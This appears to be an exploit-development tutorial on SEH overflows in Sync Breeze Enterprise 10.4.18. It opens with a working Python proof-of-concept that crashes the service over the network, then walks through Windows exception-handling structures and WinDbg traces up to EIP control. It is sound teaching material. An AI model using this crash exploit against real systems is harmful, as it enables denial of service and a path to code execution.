0001-01-01

Analyzing public exploit

  • Vulnerable Binary: Sync Breeze Enterprise v10.4.18

Let’s try to use the public exploit to trigger a crash:

#!/usr/bin/python  
import socket  
import sys  
from struct import pack  
try:  
 server = "192.168.122.113"  
 port = 9121  
 size = 1000  
 inputBuffer = b"\x41" * size  
 header = b"\x75\x19\xba\xab"  
 header += b"\x03\x00\x00\x00"  
 header += b"\x00\x40\x00\x00"  
 header += pack('<I', len(inputBuffer))  
 header += pack('<I', len(inputBuffer))  
 header += pack('<I', inputBuffer[-1])  
 buf = header + inputBuffer  
 print("Sending evil buffer...")  
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect((server, port))  
 s.send(buf)  
 s.close()  
  
 print("Done!")  
except socket.error:  
 print("Could not connect!")

When we execute the exploit, we see that the EAX register is overwritten, but not the EIP… Seems like at this moment the EIP register is not directly under our control. Also, there is some data in the stack that contains part of our payload:

Let’s see all the registers and confirm that EAX is the only register under our control:

Let’s examine the crash. The crash says:

(113c.1164): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

This means that the debugger intercepted a first chance exception, which is like a unexpected error. Let’s handle it continuing the program by pressing “g”. We can see that we got another access violation, now controlling the EIP.

To understand how this exploit worked and how we got control over the EIP, we have to talk about the SEH.

SEH

We must understand what happens when an exception occurs inside an application. As mentioned in the previous section, exceptions are unexpected events that occur during normal program execution. There are two kinds of exceptions: hardware exceptions and software exceptions.

  • Hardware exceptions are initiated by the CPU. We encountered a typical hardware exception when our script crashed the Sync Breeze service as the CPU attempted to dereference an invalid memory address. Hardware exceptions are exceptions that are not made by the programmer, but occur when the logic in the assembly code fails.
  • On the other hand, software exceptions are explicitly initiated by applications when the execution flow reaches unexpected or unwanted conditions. For example, a software developer might want to raise an exception in their code to signal that a function could not execute normally because of an invalid input argument. They are exceptions but controlled in the software layer.

Normally the exception handling is programmed via try/except blocks. In Windows, when doing a try/except block, the code will leverage the SEH (Structure Exception Handling) implemented by the Windows OS to handle the unexpected event.

SEH is implemented in the operative system (Windows) to manage what to do when an unexpected action occurs in the execution of a thread. When a thread faults, the OS calls a set of functions, called function handlers, which can correct the exception, provide more information about the unexpected condition, etc. The exception handlers are user-defined and created during the creation of the try/except code blocks. So, the SEH is the mechanism created by the OS that executes our exception handlers (created by developers) when an exception fails. Important note: There is a special DEFAULT exception handler which is defined by the OS, the rest are programmed by the developer.

When an unexpected event occurs, the OS must locates the correct exception handler. Note that the exception handling occurs at a thread level. Each thread in a program can be identified by a TEB (Thread Environment Block) structure, a struct that stores important information about such thread. Each time a try block is found during the execution of a thread, a pointer to the corresponding exception handler is saved on the stack in the _EXCEPTION_REGISTRATION_RECORD structure. As there might be different try blocks chained in the single thread (a try inside a try), these structures are connected in the stack in a linked list, as the following image details:

In the case that the exception occurs, the OS inspects the TEB structure of the thread that has the exception and retrieves a pointer (ExceptionList) to the linked list of _EXCEPTION_REGISTRATION_RECORD. How does the OS retrieves information of the TEB? Well, the FS register at offset 0 (fs:[0]) stores a pointer to the TEB structure of that thread. After retrieving the Exception List, the OS will walk and invoke each of the exception handler functions stored in the stack until one of them can deal with the unexpected event. If none of the defined functions can handle the exception, the OS invokes the default exception handler, which is always the last node in the linked list. This exception handler terminates the current process (or thread if the application is a system service).

TL; DR, the TEB of a thread has a pointer called ExceptionList that points to the linked list of _EXCEPTION_REGISTRATION_RECORD in the stack. The pointer is to the first exception, as the rest are chained by following the “Next” attribute of the exception. Each of these handlers is called to manage the exception when it occurs. If none of then can manage the exception, the program exits or the thread ends, in case of a service.

SEH internals

Let’s analyze the TEB structure:

0:009> dt nt!_TEB
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : Ptr32 Void
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : Ptr32 Void
   +0x02c ThreadLocalStoragePointer : Ptr32 Void
   +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
   +0x034 LastErrorValue   : Uint4B
   +0x038 CountOfOwnedCriticalSections : Uint4B
   +0x03c CsrClientThread  : Ptr32 Void
   +0x040 Win32ThreadInfo  : Ptr32 Void
   +0x044 User32Reserved   : [26] Uint4B
   +0x0ac UserReserved     : [5] Uint4B
   +0x0c0 WOW32Reserved    : Ptr32 Void
   +0x0c4 CurrentLocale    : Uint4B
   +0x0c8 FpSoftwareStatusRegister : Uint4B
   +0x0cc ReservedForDebuggerInstrumentation : [16] Ptr32 Void
   +0x10c SystemReserved1  : [26] Ptr32 Void
   +0x174 PlaceholderCompatibilityMode : Char
   +0x175 PlaceholderHydrationAlwaysExplicit : UChar
   +0x176 PlaceholderReserved : [10] Char
   +0x180 ProxiedProcessId : Uint4B
   +0x184 _ActivationStack : _ACTIVATION_CONTEXT_STACK
   +0x19c WorkingOnBehalfTicket : [8] UChar
   +0x1a4 ExceptionCode    : Int4B
   +0x1a8 ActivationContextStackPointer : Ptr32 _ACTIVATION_CONTEXT_STACK
   +0x1ac InstrumentationCallbackSp : Uint4B
   +0x1b0 InstrumentationCallbackPreviousPc : Uint4B
   +0x1b4 InstrumentationCallbackPreviousSp : Uint4B
   +0x1b8 InstrumentationCallbackDisabled : UChar
   +0x1b9 SpareBytes       : [23] UChar
   +0x1d0 TxFsContext      : Uint4B
   +0x1d4 GdiTebBatch      : _GDI_TEB_BATCH
   +0x6b4 RealClientId     : _CLIENT_ID
   +0x6bc GdiCachedProcessHandle : Ptr32 Void
   +0x6c0 GdiClientPID     : Uint4B
   +0x6c4 GdiClientTID     : Uint4B
   +0x6c8 GdiThreadLocalInfo : Ptr32 Void
   +0x6cc Win32ClientInfo  : [62] Uint4B
   +0x7c4 glDispatchTable  : [233] Ptr32 Void
   +0xb68 glReserved1      : [29] Uint4B
   +0xbdc glReserved2      : Ptr32 Void
   +0xbe0 glSectionInfo    : Ptr32 Void
   +0xbe4 glSection        : Ptr32 Void
   +0xbe8 glTable          : Ptr32 Void
   +0xbec glCurrentRC      : Ptr32 Void
   +0xbf0 glContext        : Ptr32 Void
   +0xbf4 LastStatusValue  : Uint4B
   +0xbf8 StaticUnicodeString : _UNICODE_STRING
   +0xc00 StaticUnicodeBuffer : [261] Wchar
   +0xe0c DeallocationStack : Ptr32 Void
   +0xe10 TlsSlots         : [64] Ptr32 Void
   +0xf10 TlsLinks         : _LIST_ENTRY
   +0xf18 Vdm              : Ptr32 Void
   +0xf1c ReservedForNtRpc : Ptr32 Void
   +0xf20 DbgSsReserved    : [2] Ptr32 Void
   +0xf28 HardErrorMode    : Uint4B
   +0xf2c Instrumentation  : [9] Ptr32 Void
   +0xf50 ActivityId       : _GUID
   +0xf60 SubProcessTag    : Ptr32 Void
   +0xf64 PerflibData      : Ptr32 Void
   +0xf68 EtwTraceData     : Ptr32 Void
   +0xf6c WinSockData      : Ptr32 Void
   +0xf70 GdiBatchCount    : Uint4B
   +0xf74 CurrentIdealProcessor : _PROCESSOR_NUMBER
   +0xf74 IdealProcessorValue : Uint4B
   +0xf74 ReservedPad0     : UChar
   +0xf75 ReservedPad1     : UChar
   +0xf76 ReservedPad2     : UChar
   +0xf77 IdealProcessor   : UChar
   +0xf78 GuaranteedStackBytes : Uint4B
   +0xf7c ReservedForPerf  : Ptr32 Void
   +0xf80 ReservedForOle   : Ptr32 Void
   +0xf84 WaitingOnLoaderLock : Uint4B
   +0xf88 SavedPriorityState : Ptr32 Void
   +0xf8c ReservedForCodeCoverage : Uint4B
   +0xf90 ThreadPoolData   : Ptr32 Void
   +0xf94 TlsExpansionSlots : Ptr32 Ptr32 Void
   +0xf98 MuiGeneration    : Uint4B
   +0xf9c IsImpersonating  : Uint4B
   +0xfa0 NlsCache         : Ptr32 Void
   +0xfa4 pShimData        : Ptr32 Void
   +0xfa8 HeapData         : Uint4B
   +0xfac CurrentTransactionHandle : Ptr32 Void
   +0xfb0 ActiveFrame      : Ptr32 _TEB_ACTIVE_FRAME
   +0xfb4 FlsData          : Ptr32 Void
   +0xfb8 PreferredLanguages : Ptr32 Void
   +0xfbc UserPrefLanguages : Ptr32 Void
   +0xfc0 MergedPrefLanguages : Ptr32 Void
   +0xfc4 MuiImpersonation : Uint4B
   +0xfc8 CrossTebFlags    : Uint2B
   +0xfc8 SpareCrossTebBits : Pos 0, 16 Bits
   +0xfca SameTebFlags     : Uint2B
   +0xfca SafeThunkCall    : Pos 0, 1 Bit
   +0xfca InDebugPrint     : Pos 1, 1 Bit
   +0xfca HasFiberData     : Pos 2, 1 Bit
   +0xfca SkipThreadAttach : Pos 3, 1 Bit
   +0xfca WerInShipAssertCode : Pos 4, 1 Bit
   +0xfca RanProcessInit   : Pos 5, 1 Bit
   +0xfca ClonedThread     : Pos 6, 1 Bit
   +0xfca SuppressDebugMsg : Pos 7, 1 Bit
   +0xfca DisableUserStackWalk : Pos 8, 1 Bit
   +0xfca RtlExceptionAttached : Pos 9, 1 Bit
   +0xfca InitialThread    : Pos 10, 1 Bit
   +0xfca SessionAware     : Pos 11, 1 Bit
   +0xfca LoadOwner        : Pos 12, 1 Bit
   +0xfca LoaderWorker     : Pos 13, 1 Bit
   +0xfca SkipLoaderInit   : Pos 14, 1 Bit
   +0xfca SpareSameTebBits : Pos 15, 1 Bit
   +0xfcc TxnScopeEnterCallback : Ptr32 Void
   +0xfd0 TxnScopeExitCallback : Ptr32 Void
   +0xfd4 TxnScopeContext  : Ptr32 Void
   +0xfd8 LockCount        : Uint4B
   +0xfdc WowTebOffset     : Int4B
   +0xfe0 ResourceRetValue : Ptr32 Void
   +0xfe4 ReservedForWdf   : Ptr32 Void
   +0xfe8 ReservedForCrt   : Uint8B
   +0xff0 EffectiveContainerId : _GUID

Inside this structure, at offset 0x0, there is the _NT_TIB structure. Let’s analyze it.

0:009> dt _NT_TIB
ntdll!_NT_TIB
   +0x000 ExceptionList    : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 StackBase        : Ptr32 Void
   +0x008 StackLimit       : Ptr32 Void
   +0x00c SubSystemTib     : Ptr32 Void
   +0x010 FiberData        : Ptr32 Void
   +0x010 Version          : Uint4B
   +0x014 ArbitraryUserPointer : Ptr32 Void
   +0x018 Self             : Ptr32 _NT_TIB

We have the pointer called ExceptionList which points at a _EXCEPTION_REGISTRATION_RECORD structure. Let’s analyze this structure:

0:009> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION 

We can see that this structure has a pointer to another _EXCEPTION_REGISTRATION_RECORD structure and a pointer to the Handler of this record. The Handler parameter points to a callback function called _except_handler which returns a _EXCEPTION_DISPOSITION structure. Let’s see the _except_handler function prototype (not implementation, only parameters):

typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord, 
IN VOID EstablisherFrame, 
IN OUT PCONTEXT ContextRecord, 
IN OUT PDISPATCHER_CONTEXT DispatcherContext );

The _except_handler function can have different names depending on the OS (e.g, it is also called ntdll!_except_handler4). Depending on the Symbols provided for each version of Windows, it changes. However, the parameters and return value of the function are always the same.

Note that this is the function that gets executed to manage the exception! This is the important thing to know.

We are interested on the second and third parameters of the EXCEPTION_DISPOSITION structure. These parameters are EstablisherFrame and ContextRecord.

  • EstablisherFrame points to the _EXCEPTION_REGISTRATION_RECORD structure, which is used to handle the exception.
  • ContextRecord is a pointer to a CONTEXT structure, which contains processor-specific register data at the time the exception was raised.

Let’s analyze the CONTEXT Structure in WinDbg. We can see that it contains many fields and also the states of all of our registers, including the EIP:

0:009> dt _CONTEXT
ntdll!_CONTEXT
   +0x000 ContextFlags     : Uint4B
   +0x004 Dr0              : Uint4B
   +0x008 Dr1              : Uint4B
   +0x00c Dr2              : Uint4B
   +0x010 Dr3              : Uint4B
   +0x014 Dr6              : Uint4B
   +0x018 Dr7              : Uint4B
   +0x01c FloatSave        : _FLOATING_SAVE_AREA
   +0x08c SegGs            : Uint4B
   +0x090 SegFs            : Uint4B
   +0x094 SegEs            : Uint4B
   +0x098 SegDs            : Uint4B
   +0x09c Edi              : Uint4B
   +0x0a0 Esi              : Uint4B
   +0x0a4 Ebx              : Uint4B
   +0x0a8 Edx              : Uint4B
   +0x0ac Ecx              : Uint4B
   +0x0b0 Eax              : Uint4B
   +0x0b4 Ebp              : Uint4B
   +0x0b8 Eip              : Uint4B
   +0x0bc SegCs            : Uint4B
   +0x0c0 EFlags           : Uint4B
   +0x0c4 Esp              : Uint4B
   +0x0c8 SegSs            : Uint4B
   +0x0cc ExtendedRegisters : [512] UChar

When the exception is handled, this CONTEXT information will be used to restore the execution flow after handling the exception, reverting the register information, etc. In case that any register is modified during the exception, this is like a wayback machine.

As mentioned earlier, the _except_handler function returns a _EXCEPTION_DISPOSITIONstructure. If we inspect this structure, we can see that it contains the result of the exception handling process:

0:009> dt _EXCEPTION_DISPOSITION
ntdll!_EXCEPTION_DISPOSITION
   ExceptionContinueExecution = 0n0
   ExceptionContinueSearch = 0n1
   ExceptionNestedException = 0n2
   ExceptionCollidedUnwind = 0n3

If the exception handler invoked by the OS is not valid for dealing with the exception, the return value will be ExceptionContinueSearch. This results in inspecting the “Next” pointer of the structure to move on to the next _EXCEPTION_REGISTRATION_RECORD structure in the linked list. In the case that this handler is valid to handle the exception, it will return ExceptionContinueExecution, meaning that the execution can continue.

This is a diagram that details the process of SEH, as we have explained previously. Basically consists in:

  • Getting TEB address.
  • Accessing 0x0 of TEB to get NT_TIB
  • Accessing 0x0 of NT_TIB to get a pointer to the first _EXCEPTION_REGISTRATION_RECORD of the stack.
  • Try to execute the associated _except_handler of such _EXCEPTION_REGISTRATION_RECORD.
  • Depending on the _EXCEPTION_DISPOSITION return value of the function, navigate to the next _EXCEPTION_REGISTRATION_RECORD of the stack to keep managing the exception, or continue with the execution:

Now, let’s see in details how the OS calls the exception handler functions and what checks are performed before invoking them. When an exception is found, ntdll!KiUserExceptionDispatcher is called. This function is the responsible for dispatching exceptions on Windows OS. The function takes two arguments:

  • A _EXCEPTION_RECORD structure, that contains information about the exception.
  • A CONTEXT structure, with information about the running context of the thread (e.g., registers).

Eventually this function will call the RtlDispatchException , which will retrieve the TEB and proceed to parse the ExceptionList through the mechanism already explained. During the process of going through all the exceptions, for each Handler member in the list, the OS will ensure that the _EXCEPTION_REGISTRATION_RECORD structure falls within the stack memory limits found in the TEB. Also, more checks to the exception handler function are performed usng the RtlIsValidHandler function.

RtlIsValidHandler is the responsible for the SafeSEH implementation. This is a mitigation introduced by Microsoft to prevent an attacker from gaining control of the execution flow after overwriting a stack-based exception handler. At a high level, if a module is compiled with the SafeSEH flag, the linker will produce an image containing a table of safe exception handlers. The operating system will then validate the exception_handler on the stack by comparing it to the entries in the table of safe exception handlers. If the handler is not found, the system will refuse to execute it.

Unfortunately, the source code for RtlIsValidHandler is not publicly available, so we must instead analyze the pseudo-code that was generated by security researchers after reverse engineering this function on Windows 8.1. This code will be similar to what the Windows 10 OS does, so we can analyze it:

BOOL RtlIsValidHandler(Handler) // NT 6.3.9600 
	{ 
		if (/* Handler within the image */) { 
			if (DllCharacteristics->IMAGE_DLLCHARACTERISTICS_NO_SEH) 
				goto InvalidHandler; 
			if (/* The image is .Net assembly, 'ILonly' flag is enabled */) 
				goto InvalidHandler; 
			if (/* Found 'SafeSEH' table */) {
				 if (/* The image is registered in 'LdrpInvertedFunctionTable' (or its cache), or the initialization of the process is not complete */) { 
					 if (/* Handler found in 'SafeSEH' table */) 
						 return TRUE;
						 else goto InvalidHandler; 
					 } 
				 return TRUE; 
			 } 
			 else { 
				 if (/* 'ExecuteDispatchEnable' and 'ImageDispatchEnable' flags are enabled in 'ExecuteOptions' of the process */) 
					 return TRUE;
				if (/* Handler is in non-executable area of the memory */) {
					  if (ExecuteDispatchEnable) return TRUE; 
				  } 
				else if (ImageDispatchEnable) return TRUE; 
			} 
			InvalidHandler: 
				RtlInvalidHandlerDetected(...); 
				return FALSE;
	}			

By seeing the code, we can see that the functions checks the DllCharacteristics of the specific module where the exception occurs. If the module is compiled with SafeSEH, the Handler function will be compared against the entries of the table of the SafeSEH handlers before it is executed. If the function succeeds, validating the Handler, the OS will call RtlpExecuteHandlerForException. This function will set up the appropiate arguments and invoke ExecuteHandler, which will end executing the _except_handler function. This process is done for each of the handlers, to validate each of them.

To enable this functionality in a binary, the binary must be compiled with the /SAFESEH flag.

In summary, whenever an exception occurs, the operating system calls a designated set of functions as part of the SEH mechanism. Within these function calls, the ExceptionList singlelinked list is gathered from the TEB structure. Next, the operating system parses the singly-linked list of _EXCEPTION_REGISTRATION_RECORD structures, performing various checks before calling the exception_handler function pointed to by each Handler member. This continues until a handler is found that will successfully process the exception and allow execution to continue. If no handler can successfully handle the exception, the application will crash.

SEH overflows

A SEH overflow is a stack based buffer overflow that is large enough or positioned in such a way that it is possible to overwrite valid registered exception handlers on the stack. By overwriting these handlers, the attacker can take control of the instruction pointer after triggering an exception.

This type of overflow bypasses the GS flag (stack cookies) as these cookies are positioned next to the return value of the vulnerable function. With this attack, the exception handler is modified and the instruction pointer is redirected to the address of the exception handler prior to reaching the end of the vulnerable function (in which the check is performed).

Note: as the _EXCEPTION_REGISTRATION_RECORD structures (the ones we want to modify) are stored at the beginning of the stack space (high addresses), the overflow needs to be quite large or begin near the beginning of the stack in order for the attacker to overwrite a structured exception handler.

Let’s inspect our chain of _EXCEPTION_REGISTRATION_RECORDSin our victim process without tampering it first. Because the SEH mechanism works on a per-thread basis, we won’t be able to inspect the intact SEH chain for the thread handling our incoming data, as that thread has not yet spawned. Instead, we will inspect the chain of p _EXCEPTION_REGISTRATION_RECORD structures for the thread WinDbg breaks into when we attach the debugger to the target process. This will reveal an intact chain.

Let’s use the “teb” command in WinDbg to display the TEB address. We can see that we hace the ExceptionList pointer:

0:008> !teb
TEB at 003db000
    ExceptionList:        00a0ff60
    StackBase:            00a10000
    StackLimit:           00a0c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 003db000
    EnvironmentPointer:   00000000
    ClientId:             00000938 . 000018f8
    RpcHandle:            00000000
    Tls Storage:          00000000
    PEB Address:          003c9000
    LastErrorValue:       0
    LastStatusValue:      0
    Count Owned Locks:    0
    HardErrorMode:        0

We see that it is near 0x0, which means that it is close to the base of the stack of the thread. Let’s dump the first _EXCEPTION_REGISTRATION_RECORD structure at the memory address of the ExceptionList pointer. From the previous section, we know that the _EXCEPTION_REGISTRATION_RECORD structure has two members. The first is Next and, as the name suggests, it points to the next entry in the singly-linked list. The second, Handler, is the memory address of the _except_handler function. We can manually walk the singly-linked list in the debugger as shown in the listing below:

0:008> dt _EXCEPTION_REGISTRATION_RECORD 00a0ff60
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x00a0ffcc _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77308b10     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

We can iterate over the “Next” argument to see how much records there are in the stack. Let’s do it:

0:008> dt _EXCEPTION_REGISTRATION_RECORD 00a0ff60
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x00a0ffcc _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77308b10     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0
0:008> dt _EXCEPTION_REGISTRATION_RECORD 00a0ffcc
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x00a0ffe4 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77308b10     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0
0:008> dt _EXCEPTION_REGISTRATION_RECORD 00a0ffe4
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x773163cf     _EXCEPTION_DISPOSITION  ntdll!FinalExceptionHandlerPad47+0

We see that the last member of the list has a “Next” pointer to 0xffffffff. This last record is the default exception handler specified by the OS, the one that ends the thread or program. Note that the associated _EXCEPTION_DISPOSITION value is different from the others!

Now, let’s trigger the crash with the exploit again to see what happens during a SEH overflow. Once we send the exploit, let’s walk the ExceptionList again. Oh, wait! the second _EXCEPTION_REGISTRATION_RECORD structure has been overwritten by our buffer!

0:007> dt _EXCEPTION_REGISTRATION_RECORD 0090fe0c
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0090ff44 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x1008df5b     _EXCEPTION_DISPOSITION  libpal!md5_starts+0
0:007> dt _EXCEPTION_REGISTRATION_RECORD 0090ff44
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x41414141     _EXCEPTION_DISPOSITION  +41414141

Note that _EXCEPTION_REGISTRATION_RECORD structures are pushed on the stack from first to last. Because of this, SEH overflows generally overwrite the last _EXCEPTION_REGISTRATION_RECORD structure first, as it is the nearest to reach. Keep in mind that in some cases, the overflow happens in such a way that the exception chain is only partially overwritten.

The exception occurs because the application is trying to read and execute an unmapped memory page. This causes an access violation exception that needs to be handled by the application or the OS.

Let’s display all the exception handlers of the current thread with the !exchain extension:

0:007> !exchain
0090fe0c: libpal!md5_starts+149fb (1008df5b)
0090ff44: 41414141
Invalid exception stack at 41414141

This little program which follows the exception chain tells us the same as our manual analysis: we have managed to overwrite an exception handler.

For now, we know that the first step in the SEH overflow is to obtain the address of the first _EXCEPTION_REGISTRATION_RECORD structure from the TEB. Then the OS proceeds to call each of the _exception_handler functions until the exception has been handled, or crashes if no handler could deal with the exception.

At this point, however, the address of at least one of the _except_handler functions has been overwritten by our buffer (0x41414141). This means that whenever this _EXCEPTION_REGISTRATION_RECORDstructure is used to handle the exception, the CPU will end up calling 0x41414141, giving us control over the EIP register. This is exactly the behavior we noticed as part of the initial crash analysis. Note that the previous exceptions need to not be able to manage the exception, so that the exception handling mechanism manages to execute our function in order to try to handle the exception.

We can confirm this by resuming execution inserting “g” in WinDbg and let the application handle the exception, which leads us to see that EIP has been modified to point to our code:

0:007> g
(938.1d54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77316270 esi=00000000 edi=00000000
eip=41414141 esp=0090f440 ebp=0090f460 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

Let’s inspect the call stack with the “k” command to see which functions were called before the EIP was overwritten:

0:007> k
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0090f43c 77316252 0x41414141
01 0090f460 77316224 ntdll!ExecuteHandler2+0x26
02 0090f528 77302cb6 ntdll!ExecuteHandler+0x24
03 0090f528 10012a9d ntdll!KiUserExceptionDispatcher+0x26
04 0090feb8 00000000 libpal!SCA_ConfigObj::Deserialize+0x1d

The output indicates that ntdll!ExecuteHandler2 was called directly before we achieved code execution. As previously discussed, this function is responsible for calling the _except_handler functions registered on the stack. We’ll confirm this shortly.

Okay, we have control over the instruction pointer, but we need to point it to our code. Let’s see if any of the register points to our buffer. Also, let’s inspect the stack frame to see if our payload is there:

0:007> dds esp
0090f440  77316252 ntdll!ExecuteHandler2+0x26
0090f444  0090f540
0090f448  0090ff44
0090f44c  0090f55c
0090f450  0090f4cc
0090f454  0090fe0c
0090f458  77316270 ntdll!ExecuteHandler2+0x44
0090f45c  0090ff44
0090f460  0090f528
0090f464  77316224 ntdll!ExecuteHandler+0x24
0090f468  0090f540
0090f46c  0090ff44
0090f470  0090f55c
0090f474  0090f4cc
0090f478  41414141
0090f47c  0090ff44
0090f480  0090f540
0090f484  00000000
0090f488  772dd4db ntdll!RtlDispatchException+0x143
0090f48c  0090f540
0090f490  0090ff44
0090f494  0090f55c
0090f498  0090f4cc
0090f49c  41414141
0090f4a0  0090fb10
0090f4a4  0090ff08
0090f4a8  0090f540
0090f4ac  00000000
0090f4b0  0090f55c
0090f4b4  0090ff44
0090f4b8  00000032
0090f4bc  0090f000
0:007> r
eax=00000000 ebx=00000000 ecx=41414141 edx=77316270 esi=00000000 edi=00000000
eip=41414141 esp=0090f440 ebp=0090f460 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

According to the output in Listing 107, none of the registers point to our buffer at the moment we gain control over the execution. The ECX register is being overwritten alongside the instruction pointer while most of the other registers are NULL. We do not overwrite any data on the stack (which ESP and EBP point to). Lastly, EDX appears to point somewhere inside the ntdll!ExecuteHandler2 function.

At this point, even if we control the instruction pointer, we are still not able to easily redirect the execution flow to our buffer where we’d eventually store a payload.

Let’s put a breakpoint in ntdll!ExecuteHandler2 to stop the execution before WinDbg intercepts the exception. Then, let’s crash the application again, and skip the first call to ntdll!ExecuteHandler2, because the first exception handler has not been overwritten by us, and we want to go to the second exception handler.

(16cc.f30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=0175fa0c ecx=0175ff08 edx=0175f9c4 esi=0175ff08 edi=0175fb10
eip=008d2a9d esp=0175f998 ebp=0175feb8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
008d2a9d ff5024          call    dword ptr [eax+24h]  ds:0023:41414165=????????
0:010> bp ntdll!ExecuteHandler2
0:010> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=6fdb73da edx=77316270 esi=00000000 edi=00000000
eip=7731622c esp=0175f464 ebp=0175f528 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2:
7731622c 55              push    ebp
0:010> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=6fdb73da edx=77316270 esi=00000000 edi=00000000
eip=7731622c esp=0175f464 ebp=0175f528 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2:
7731622c 55              push    ebp

Once the breakpoint to the second exception handler has been triggered, let’s inspect EIP to see more about this function:

0:010> u @eip L11
ntdll!ExecuteHandler2:
7731622c 55              push    ebp
7731622d 8bec            mov     ebp,esp
7731622f ff750c          push    dword ptr [ebp+0Ch]
77316232 52              push    edx
77316233 64ff3500000000  push    dword ptr fs:[0]
7731623a 64892500000000  mov     dword ptr fs:[0],esp
77316241 ff7514          push    dword ptr [ebp+14h]
77316244 ff7510          push    dword ptr [ebp+10h]
77316247 ff750c          push    dword ptr [ebp+0Ch]
7731624a ff7508          push    dword ptr [ebp+8]
7731624d 8b4d18          mov     ecx,dword ptr [ebp+18h]
77316250 ffd1            call    ecx // This ends calling 0x41414141, our handler function! 
77316252 648b2500000000  mov     esp,dword ptr fs:[0]
77316259 648f0500000000  pop     dword ptr fs:[0]
77316260 8be5            mov     esp,ebp
77316262 5d              pop     ebp
77316263 c21400          ret     14h

The first thing worth mentioning in this code is that we are about to invoke a function by executing a “call ecx” instruction. According to the call stack that we say previously, after the call to ExecuteHandler2, we call the overwritten _except_handler function (0x41414141). Additionally, this function accepts four arguments as inferred from the four PUSH instructions preceding the “call ecx”. This matches the _except_handler function prototype, which is the following:

typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord, 
IN VOID EstablisherFrame, 
IN OUT PCONTEXT ContextRecord, 
IN OUT PDISPATCHER_CONTEXT DispatcherContext );

If we analyze more in depth this function, we can see that the “ExceptionList” pointer of the TEB is being updated with a new _EXCEPTION_REGISTRATION_RECORDstructure, in order to manage exceptions that might occur during the call of the _except_handler function. If we continue the execution of the function, we can see that, after updating the TEB, the “call” instruction is being performed to our controlled address:

0:010> t
eax=00000000 ebx=00000000 ecx=6fdb73da edx=77316270 esi=00000000 edi=00000000
eip=7731624d esp=0175f444 ebp=0175f460 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x21:
7731624d 8b4d18          mov     ecx,dword ptr [ebp+18h] ss:0023:0175f478=41414141
0:010> t
eax=00000000 ebx=00000000 ecx=41414141 edx=77316270 esi=00000000 edi=00000000
eip=77316250 esp=0175f444 ebp=0175f460 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x24:
77316250 ffd1            call    ecx {41414141}

Once we have understood how to redirect code execution, we need to make it point to our payload. During a vanilla stack overflow, the attacker overwrites a return address, and consequently the EIP register, with the address of an instruction (like “jmp esp”) that can redirect the execution flow to the stack, where a payload is stored. However, in this scenario we do not control the stack when we gain control of the instruction pointer. Let’s inspect ESP when we change the EIP:

0:010> t
eax=00000000 ebx=00000000 ecx=41414141 edx=77316270 esi=00000000 edi=00000000
eip=77316250 esp=0175f444 ebp=0175f460 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x24:
77316250 ffd1            call    ecx {41414141}
